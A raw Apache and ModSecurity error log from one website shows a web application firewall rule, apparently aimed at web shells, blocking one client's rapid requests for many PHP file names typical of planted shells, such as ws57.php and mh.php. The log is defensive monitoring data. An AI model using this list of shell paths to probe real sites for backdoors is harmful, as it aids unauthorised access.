[Sat Apr 11 08:01:20.001072 2026] [:error] [pid 33172:tid 33227] [client 158.158.33.175:16662] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "admPTzn2G0IJw5EZY9l5ZQAAAEk"]
[Sat Apr 11 08:01:20.617267 2026] [:error] [pid 33171:tid 33192] [client 158.158.33.175:20411] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "admPULoqTMlo30hcVw-XFAAAAAY"]
[Sat Apr 11 08:01:21.096879 2026] [:error] [pid 33172:tid 33235] [client 158.158.33.175:14111] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-mancvgertdxz.php"] [unique_id "admPUTn2G0IJw5EZY9l5aAAAAFE"]
[Sat Apr 11 08:01:21.624806 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:16681] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-mancvgertdxz.php"] [unique_id "admPUYkdEsz5NeAq8w2gwgAAAQg"]
[Sat Apr 11 08:01:22.159896 2026] [:error] [pid 15244:tid 15249] [client 158.158.33.175:10402] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-mancvgertdxz.php"] [unique_id "admPUokdEsz5NeAq8w2gxwAAAQM"]
[Sat Apr 11 08:01:22.944276 2026] [:error] [pid 15244:tid 15268] [client 158.158.33.175:14122] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-mancvgertdxz.php"] [unique_id "admPUokdEsz5NeAq8w2gzQAAARY"]
[Sat Apr 11 08:01:23.484345 2026] [:error] [pid 33173:tid 33250] [client 158.158.33.175:24313] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "admPU68109xRDP2izWglCwAAAIU"]
[Sat Apr 11 08:01:24.106876 2026] [:error] [pid 15244:tid 15264] [client 158.158.33.175:10325] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "admPVIkdEsz5NeAq8w2g2wAAARI"]
[Sat Apr 11 08:01:24.675942 2026] [:error] [pid 15244:tid 15250] [client 158.158.33.175:14037] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "admPVIkdEsz5NeAq8w2g3gAAAQQ"]
[Sat Apr 11 08:01:25.161353 2026] [:error] [pid 33173:tid 33253] [client 158.158.33.175:16665] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "admPVa8109xRDP2izWglDwAAAIg"]
[Sat Apr 11 08:01:25.709524 2026] [:error] [pid 33288:tid 33291] [client 158.158.33.175:24016] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "admPVWJmwJFFPEgRHfGj3gAAAME"]
[Sat Apr 11 08:01:26.322629 2026] [:error] [pid 33172:tid 33230] [client 158.158.33.175:24048] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "admPVjn2G0IJw5EZY9l5cAAAAEw"]
[Sat Apr 11 08:01:26.997361 2026] [:error] [pid 33288:tid 33297] [client 158.158.33.175:16456] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "admPVmJmwJFFPEgRHfGj5AAAAMc"]
[Sat Apr 11 08:01:27.514813 2026] [:error] [pid 33288:tid 33305] [client 158.158.33.175:10397] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "admPV2JmwJFFPEgRHfGj5wAAAM8"]
[Sat Apr 11 08:01:28.019585 2026] [:error] [pid 33173:tid 33257] [client 158.158.33.175:24316] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.qiodetme.php"] [unique_id "admPWK8109xRDP2izWglEgAAAIw"]
[Sat Apr 11 08:01:28.627300 2026] [:error] [pid 15244:tid 15266] [client 158.158.33.175:16494] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.qiodetme.php"] [unique_id "admPWIkdEsz5NeAq8w2g8AAAARQ"]
[Sat Apr 11 08:01:29.179612 2026] [:error] [pid 33172:tid 33240] [client 158.158.33.175:29668] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.qiodetme.php"] [unique_id "admPWTn2G0IJw5EZY9l5cQAAAFY"]
[Sat Apr 11 08:01:29.863797 2026] [:error] [pid 33288:tid 33300] [client 158.158.33.175:29645] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.qiodetme.php"] [unique_id "admPWWJmwJFFPEgRHfGj8QAAAMo"]
[Sat Apr 11 08:01:30.515937 2026] [:error] [pid 33171:tid 33194] [client 158.158.33.175:16660] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sodas.php"] [unique_id "admPWroqTMlo30hcVw-XKAAAAAg"]
[Sat Apr 11 08:01:31.098871 2026] [:error] [pid 33171:tid 33188] [client 158.158.33.175:10341] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sodas.php"] [unique_id "admPW7oqTMlo30hcVw-XKQAAAAI"]
[Sat Apr 11 08:01:31.588403 2026] [:error] [pid 33173:tid 33253] [client 158.158.33.175:10357] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sodas.php"] [unique_id "admPW68109xRDP2izWglHgAAAIg"]
[Sat Apr 11 08:01:32.133859 2026] [:error] [pid 33171:tid 33203] [client 158.158.33.175:16695] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sodas.php"] [unique_id "admPXLoqTMlo30hcVw-XLAAAABE"]
[Sat Apr 11 08:01:32.951673 2026] [:error] [pid 33288:tid 33311] [client 158.158.33.175:20381] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "admPXGJmwJFFPEgRHfGj_wAAANU"]
[Sat Apr 11 08:01:33.504005 2026] [:error] [pid 33171:tid 33204] [client 158.158.33.175:29667] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "admPXboqTMlo30hcVw-XOAAAABI"]
[Sat Apr 11 08:01:34.050716 2026] [:error] [pid 33171:tid 33208] [client 158.158.33.175:46789] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "admPXroqTMlo30hcVw-XQQAAABY"]
[Sat Apr 11 08:01:34.581451 2026] [:error] [pid 33173:tid 33265] [client 158.158.33.175:29847] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "admPXq8109xRDP2izWglKQAAAJQ"]
[Sat Apr 11 08:01:35.091956 2026] [:error] [pid 33171:tid 33201] [client 158.158.33.175:8882] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "admPX7oqTMlo30hcVw-XSgAAAA8"]
[Sat Apr 11 08:01:35.631773 2026] [:error] [pid 33288:tid 33305] [client 158.158.33.175:16677] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "admPX2JmwJFFPEgRHfGkBgAAAM8"]
[Sat Apr 11 08:01:36.361876 2026] [:error] [pid 33173:tid 33245] [client 158.158.33.175:54868] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "admPYK8109xRDP2izWglLwAAAIA"]
[Sat Apr 11 08:01:37.156999 2026] [:error] [pid 33173:tid 33246] [client 158.158.33.175:24032] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "admPYa8109xRDP2izWglMwAAAIE"]
[Sat Apr 11 08:01:38.083924 2026] [:error] [pid 33288:tid 33298] [client 158.158.33.175:62413] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "admPYmJmwJFFPEgRHfGkEAAAAMg"]
[Sat Apr 11 08:01:38.732085 2026] [:error] [pid 33173:tid 33250] [client 158.158.33.175:8875] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "admPYq8109xRDP2izWglOAAAAIU"]
[Sat Apr 11 08:01:39.665686 2026] [:error] [pid 33173:tid 33252] [client 158.158.33.175:24283] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "admPY68109xRDP2izWglQAAAAIc"]
[Sat Apr 11 08:01:40.815366 2026] [:error] [pid 33173:tid 33247] [client 158.158.33.175:20256] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "admPZK8109xRDP2izWglQgAAAII"]
[Sat Apr 11 08:01:41.776651 2026] [:error] [pid 15244:tid 15258] [client 158.158.33.175:20286] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "admPZYkdEsz5NeAq8w2hAAAAAQw"]
[Sat Apr 11 08:01:42.488157 2026] [:error] [pid 33172:tid 33241] [client 158.158.33.175:29643] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "admPZjn2G0IJw5EZY9l5hwAAAFc"]
[Sat Apr 11 08:01:43.178543 2026] [:error] [pid 33171:tid 33194] [client 158.158.33.175:8283] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "admPZ7oqTMlo30hcVw-XZQAAAAg"]
[Sat Apr 11 08:01:44.162649 2026] [:error] [pid 33173:tid 33267] [client 158.158.33.175:59170] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "admPaK8109xRDP2izWglVQAAAJY"]
[Sat Apr 11 08:01:45.225079 2026] [:error] [pid 33171:tid 33197] [client 158.158.33.175:14129] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "admPaboqTMlo30hcVw-XawAAAAs"]
[Sat Apr 11 08:01:46.222439 2026] [:error] [pid 33173:tid 33263] [client 158.158.33.175:33552] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "admPaq8109xRDP2izWglZgAAAJI"]
[Sat Apr 11 08:01:47.075546 2026] [:error] [pid 33288:tid 33297] [client 158.158.33.175:24302] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "admPa2JmwJFFPEgRHfGkQgAAAMc"]
[Sat Apr 11 08:01:48.019664 2026] [:error] [pid 33288:tid 33310] [client 158.158.33.175:14138] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "admPbGJmwJFFPEgRHfGkTAAAANQ"]
[Sat Apr 11 08:01:49.125382 2026] [:error] [pid 15244:tid 15270] [client 158.158.33.175:14103] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "admPbYkdEsz5NeAq8w2hCQAAARg"]
[Sat Apr 11 08:01:50.143676 2026] [:error] [pid 15244:tid 15246] [client 158.158.33.175:59188] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "admPbokdEsz5NeAq8w2hEgAAAQA"]
[Sat Apr 11 08:01:57.567018 2026] [:error] [pid 15244:tid 15250] [client 158.158.33.175:29646] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "admPdYkdEsz5NeAq8w2hWQAAAQQ"]
[Sat Apr 11 08:01:58.361137 2026] [:error] [pid 33288:tid 33312] [client 158.158.33.175:16668] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "admPdmJmwJFFPEgRHfGkbAAAANY"]
[Sat Apr 11 08:01:59.316280 2026] [:error] [pid 33171:tid 33197] [client 158.158.33.175:24272] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "admPd7oqTMlo30hcVw-XqwAAAAs"]
[Sat Apr 11 08:01:59.888627 2026] [:error] [pid 33172:tid 33232] [client 158.158.33.175:14061] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "admPdzn2G0IJw5EZY9l52QAAAE4"]
[Sat Apr 11 08:02:00.785318 2026] [:error] [pid 33173:tid 33255] [client 158.158.33.175:16448] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "admPeK8109xRDP2izWglpgAAAIo"]
[Sat Apr 11 08:02:01.449483 2026] [:error] [pid 33173:tid 33256] [client 158.158.33.175:29850] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "admPea8109xRDP2izWglrAAAAIs"]
[Sat Apr 11 08:02:02.192818 2026] [:error] [pid 33173:tid 33258] [client 158.158.33.175:52317] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "admPeq8109xRDP2izWglswAAAI0"]
[Sat Apr 11 08:02:02.959662 2026] [:error] [pid 15244:tid 15260] [client 158.158.33.175:29856] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "admPeokdEsz5NeAq8w2hhQAAAQ4"]
[Sat Apr 11 08:02:03.861421 2026] [:error] [pid 33171:tid 33203] [client 158.158.33.175:33445] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "admPe7oqTMlo30hcVw-XsAAAABE"]
[Sat Apr 11 08:02:04.488608 2026] [:error] [pid 33173:tid 33257] [client 158.158.33.175:20359] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "admPfK8109xRDP2izWglvQAAAIw"]
[Sat Apr 11 08:02:05.265884 2026] [:error] [pid 33172:tid 33238] [client 158.158.33.175:29638] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "admPfTn2G0IJw5EZY9l53AAAAFQ"]
[Sat Apr 11 08:02:06.044165 2026] [:error] [pid 15244:tid 15262] [client 158.158.33.175:14040] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "admPfokdEsz5NeAq8w2hlAAAARA"]
